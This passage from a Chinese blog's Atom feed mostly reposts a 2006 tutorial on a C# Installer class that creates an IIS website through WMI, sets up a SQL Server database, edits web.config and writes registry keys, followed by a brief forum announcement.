<DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; nextID = name;</DIV>
<DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }</DIV>
<DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }</DIV>
<DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; catch</DIV>
<DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;{</DIV>
<DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }</DIV>
<DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }</DIV>
<DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return ++nextID;</DIV>
<DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }</DIV>
<DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; #endregion</DIV>
<DIV>&nbsp;</DIV>
<DIV>#region CreateWebsite 添加网站</DIV>
<DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; public string CreateWebSite(string serverID, string serverComment, string defaultVrootPath, string HostName, string IP, string Port)</DIV>
<DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {</DIV>
<DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; try</DIV>
<DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {</DIV>
<DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ManagementObject oW3SVC = new ManagementObject(_scope, new ManagementPath(@"IIsWebService='W3SVC'"), null);</DIV>
<DIV>&nbsp;</DIV>
<DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (IsWebSiteExists(serverID))</DIV>
<DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {</DIV>
<DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;return "Site Already Exists...";</DIV>
<DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }</DIV>
<DIV>&nbsp;</DIV>
<DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ManagementBaseObject inputParameters = oW3SVC.GetMethodParameters("CreateNewSite");</DIV>
<DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ManagementBaseObject[] serverBinding = new ManagementBaseObject[1];</DIV>
<DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; serverBinding[0] = CreateServerBinding(HostName, IP, Port);</DIV>
<DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; inputParameters["ServerComment"] = serverComment;</DIV>
<DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; inputParameters["ServerBindings"] = serverBinding;</DIV>
<DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; inputParameters["PathOfRootVirtualDir"] = defaultVrootPath;</DIV>
<DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; inputParameters["ServerId"] = serverID;</DIV>
<DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </DIV>
<DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ManagementBaseObject outParameter = null;</DIV>
<DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; outParameter = oW3SVC.InvokeMethod("CreateNewSite", inputParameters, null);</DIV>
<DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </DIV>
<DIV>&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;// 启动网站</DIV>
<DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; string serverName = "W3SVC/" + serverID;</DIV>
<DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ManagementObject webSite = new ManagementObject(_scope, new ManagementPath(@"IIsWebServer='" + serverName + "'"), null);</DIV>
<DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; webSite.InvokeMethod("Start", null);</DIV>
<DIV>&nbsp;</DIV>
<DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return (string)outParameter.Properties["ReturnValue"].Value;</DIV>
<DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }</DIV>
<DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; catch (Exception ex)</DIV>
<DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {</DIV>
<DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return ex.Message;</DIV>
<DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }</DIV>
<DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }</DIV>
<DIV>&nbsp;</DIV>
<DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; public ManagementObject CreateServerBinding(string HostName, string IP, string Port)</DIV>
<DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {</DIV>
<DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; try</DIV>
<DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {</DIV>
<DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ManagementClass classBinding = new ManagementClass(_scope, new ManagementPath("ServerBinding"), null);</DIV>
<DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ManagementObject serverBinding = classBinding.CreateInstance();</DIV>
<DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; serverBinding.Properties["Hostname"].Value = HostName;</DIV>
<DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; serverBinding.Properties["IP"].Value = IP;</DIV>
<DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; serverBinding.Properties["Port"].Value = Port;</DIV>
<DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; serverBinding.Put();</DIV>
<DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return serverBinding;</DIV>
<DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }</DIV>
<DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; catch</DIV>
<DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {</DIV>
<DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return null;</DIV>
<DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }</DIV>
<DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }</DIV>
<DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; #endregion</DIV>
<DIV>&nbsp;</DIV>
<DIV>&nbsp;</DIV>
<DIV>好了，准备工作已经做完，现在开始写最重要的Install方法了</DIV>
<DIV>整个方法写完后如下：</DIV>
<DIV>#region Install 安装</DIV>
<DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /// <SUMMARY></SUMMARY></DIV>
<DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /// 安装数据库</DIV>
<DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /// </DIV>
<DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /// <PARAM name="stateSaver" /></DIV>
<DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; public override void Install(IDictionary stateSaver)</DIV>
<DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {</DIV>
<DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </DIV>
<DIV>base.Install(stateSaver);</DIV>
<DIV>&nbsp;</DIV>
<DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; dir = this.Context.Parameters["dir"];</DIV>
<DIV>&nbsp;</DIV>
<DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; DBName = this.Context.Parameters["DBNAME"].ToString();</DIV>
<DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ServerName = this.Context.Parameters["server"].ToString();</DIV>
<DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; AdminName = this.Context.Parameters["user"].ToString();</DIV>
<DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; AdminPwd = this.Context.Parameters["pwd"].ToString();</DIV>
<DIV>&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;iis = this.Context.Parameters["iis"].ToString(); ;</DIV>
<DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; port = this.Context.Parameters["port"].ToString();</DIV>
<DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </DIV>
<DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //写入获取的安装程序中的变量，此段代码为调试用可以不添加</DIV>
<DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; this.sqlConn.ConnectionString = "Packet size=4096;User ID=" + AdminName + ";Data Source=" + ServerName + ";Password=" + AdminPwd + ";Persist Security Info=False;Integrated Security=false";</DIV>
<DIV>&nbsp;</DIV>
<DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; // 执行SQL 安装数据库 可选择时恢复或者时直接创建</DIV>
<DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if(!CreateDBAndTable(DBName))</DIV>
<DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {</DIV>
<DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; throw new ApplicationException("创建数据库时出现严重错误！");</DIV>
<DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }</DIV>
<DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </DIV>
<DIV>&nbsp;</DIV>
<DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; // 从备份数据库文件恢复数据库</DIV>
<DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /*</DIV>
<DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (!RestoreDB(DBName))</DIV>
<DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {</DIV>
<DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; throw new ApplicationException("恢复数据库时出现严重错误！");</DIV>
<DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }</DIV>
<DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; */</DIV>
<DIV>&nbsp;</DIV>
<DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;// 添加网站</DIV>
<DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Connect();</DIV>
<DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //string serverID = GetNextOpenID().ToString();</DIV>
<DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //string serverComment = websitenName;</DIV>
<DIV>&nbsp;</DIV>
<DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; // 下面的信息为测试，可以自己编写文本框来接收用户输入信息</DIV>
<DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; string serverID = "5555";</DIV>
<DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; string serverComment = "cqfeng";</DIV>
<DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; string defaultVrootPath = this.Context.Parameters["targetdir"];</DIV>
<DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (defaultVrootPath.EndsWith(@"\"))</DIV>
<DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {</DIV>
<DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; defaultVrootPath = defaultVrootPath.Substring(0, defaultVrootPath.Length-1);</DIV>
<DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }</DIV>
<DIV>&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;string HostName = "";</DIV>
<DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; string IP = "";</DIV>
<DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; string Port = port;</DIV>
<DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; string sReturn = CreateWebSite(serverID, serverComment, defaultVrootPath, HostName, IP, Port);</DIV>
<DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </DIV>
<DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; // 修改web.config</DIV>
<DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (!WriteWebConfig())</DIV>
<DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {</DIV>
<DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; throw new ApplicationException("设置数据库连接字符串时出现错误");</DIV>
<DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }</DIV>
<DIV>&nbsp;</DIV>
<DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; // 写注册表</DIV>
<DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; WriteRegistryKey();</DIV>
<DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }</DIV>
<DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; #endregion</DIV>
<DIV>&nbsp;</DIV>
<DIV>删除时的方法。在本文中未详细操作，比如删除站点，删除数据库等。如果需要，请你自己补足</DIV>
<DIV>#region Uninstall 删除</DIV>
<DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; public override void Uninstall(IDictionary savedState)</DIV>
<DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {</DIV>
<DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (savedState == null)</DIV>
<DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {</DIV>
<DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; throw new ApplicationException("未能卸载！");</DIV>
<DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }</DIV>
<DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; else</DIV>
<DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {</DIV>
<DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; base.Uninstall(savedState);</DIV>
<DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }</DIV>
<DIV>}</DIV>
<DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; #endregion</DIV>
<DIV>&nbsp;</DIV>
<DIV>&nbsp;</DIV>
<DIV>编译，然后选择安装，如图：</DIV>
<DIV><IMG alt="" src="http://dotnet.mblogger.cn/upimgs/dotnet.mblogger.cn/cqfeng/2006-2/2006_217693.jpg" border=0></DIV>
<DIV>第一图：</DIV>
<, DIV><IMG alt="" src="http://dotnet.mblogger.cn/upimgs/dotnet.mblogger.cn/cqfeng/2006-2/2006_217429.jpg" border=0></DIV>
<DIV>第二图：</DIV>
<DIV><IMG alt="" src="http://dotnet.mblogger.cn/upimgs/dotnet.mblogger.cn/cqfeng/2006-2/2006_217373.jpg" border=0></DIV>
<DIV><FONT face="Times New Roman"></FONT>&nbsp;</DIV>
<DIV>第三图：</DIV>
<DIV><IMG alt="" src="http://dotnet.mblogger.cn/upimgs/dotnet.mblogger.cn/cqfeng/2006-2/2006_217701.jpg" border=0></DIV>
<DIV>抱歉，我不知道在这里怎么使登录密码框输入时显示为<FONT face="Times New Roman">*</FONT>号</DIV>
<DIV><FONT face="Times New Roman"></FONT>&nbsp;</DIV>
<DIV>第四图：</DIV>
<DIV><IMG alt="" src="http://dotnet.mblogger.cn/upimgs/dotnet.mblogger.cn/cqfeng/2006-2/2006_217701.jpg" border=0></DIV>
<DIV>第五图：</DIV>
<DIV><IMG alt="" src="http://dotnet.mblogger.cn/upimgs/dotnet.mblogger.cn/cqfeng/2006-2/2006_217984.jpg" border=0></DIV>
<DIV><FONT face="Times New Roman"></FONT>&nbsp;</DIV>
<DIV>安装：</DIV>
<DIV><IMG alt="" src="http://dotnet.mblogger.cn/upimgs/dotnet.mblogger.cn/cqfeng/2006-2/2006_217205.jpg" border=0></DIV>
<DIV>安装完成：</DIV>
<DIV><IMG alt="" src="http://dotnet.mblogger.cn/upimgs/dotnet.mblogger.cn/cqfeng/2006-2/2006_217913.jpg" border=0></DIV>
<DIV><FONT face="Times New Roman"></FONT>&nbsp;</DIV>
<DIV>安装后的<FONT face="Times New Roman">IIS</FONT></DIV>
<DIV><IMG alt="" src="http://dotnet.mblogger.cn/upimgs/dotnet.mblogger.cn/cqfeng/2006-2/2006_217550.jpg" border=0></DIV>
<DIV><FONT face="Times New Roman"></FONT>&nbsp;</DIV>
<DIV>安装目录：</DIV>
<DIV><IMG alt="" src="http://dotnet.mblogger.cn/upimgs/dotnet.mblogger.cn/cqfeng/2006-2/2006_217902.jpg" border=0></DIV>
<DIV>安装后的数据库：</DIV>
<DIV><IMG alt="" src="http://dotnet.mblogger.cn/upimgs/dotnet.mblogger.cn/cqfeng/2006-2/2006_217366.jpg" border=0></DIV>
<DIV><FONT face="Times New Roman"></FONT>&nbsp;</DIV>
<DIV>至此，一个简单的部署<FONT face="Times New Roman">web</FONT>程序的<FONT face="Times New Roman">exe</FONT>文件已经完成，当然，省略了很多东西，比如，对安装机器的判断（<FONT face="Times New Roman">IIS</FONT>版本，<FONT face="Times New Roman">Framework</FONT>版本，<FONT face="Times New Roman">SQL Server</FONT>版本等），<FONT face="Times New Roman">IIS</FONT>站点属性等设置（默认页面，访问权限，执行权限等），卸载程序时应该删除的东西等等。这些东西，在<FONT face="Times New Roman">MSDN</FONT>里面可以查找到相关说明，如果你需要，只有辛苦一下了，嘿嘿。</DIV>
<DIV>相信有了这些，自己用<FONT face="Times New Roman">WinForm</FONT>来写安装程序也时可以了哈。</DIV>
<DIV><FONT face="Times New Roman"></FONT>&nbsp;</DIV>
<DIV>问题：安装的时候输入密码时无法显示为<FONT face="Times New Roman">*</FONT>号；安装文件夹中出现编译后的安装类编译后的<FONT face="Times New Roman">dll</FONT>文件。哪位大哥对这些比较熟悉的，指点指点<FONT face="Times New Roman">……………..</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV>写得不是很仔细，如果有问题或者错误，请你自己多调试一下！</DIV>
<DIV>&nbsp;</DIV>
<DIV>以上摘:http://blog.csdn.net/cqfeng/archive/2006/02/17/601506.aspx</DIV>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=241" /> 
	  <id>http://www.openx.cn/default.asp?id=241</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[后后~超级无聊天堂~开堂咯~]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=5" label="点点滴滴" /> 
	  <updated>2006-03-22T09:41:10+08:00</updated>
	  <published>2006-03-22T09:41:10+08:00</published>
		  <summary type="html"><![CDATA[<P>后后~</P>
<P>超级无聊联盟的论坛终于开堂咯~哈哈~</P>
<P>试用的是PHPWind的论坛还有他们的Blog</P>
<P>来吧~一起来 超级无聊天堂 吧~哈哈</P>
<P><A href="http://bbs.openx.cn">http://bbs.openx.cn</A></P>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=240" /> 
	  <id>http://www.openx.cn/default.asp?id=240</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[Google Earth KML中文说明]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
